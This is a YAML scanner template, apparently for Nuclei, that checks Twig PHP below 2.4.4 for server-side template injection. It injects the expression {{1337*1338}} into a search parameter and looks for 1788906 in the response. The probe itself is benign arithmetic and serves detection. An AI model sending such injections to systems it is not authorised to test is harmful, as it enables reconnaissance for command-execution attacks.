26 lines
599 B
YAML
26 lines
599 B
YAML
id: twig-php-ssti
|
|
|
|
info:
|
|
name: Twig PHP <2.4.4 template engine - SSTI
|
|
author: madrobot
|
|
severity: high
|
|
description: A vulnerability in Twig PHP allows remote attackers to cause the product to execute arbitrary commands via an SSTI vulnerability.
|
|
tags: php,ssti,twig
|
|
|
|
requests:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/search?search_key=%7B%7B1337*1338%7D%7D"
|
|
|
|
skip-variables-check: true
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- "1788906"
|
|
|
|
- type: status
|
|
status:
|
|
- 404
|
|
negative: true |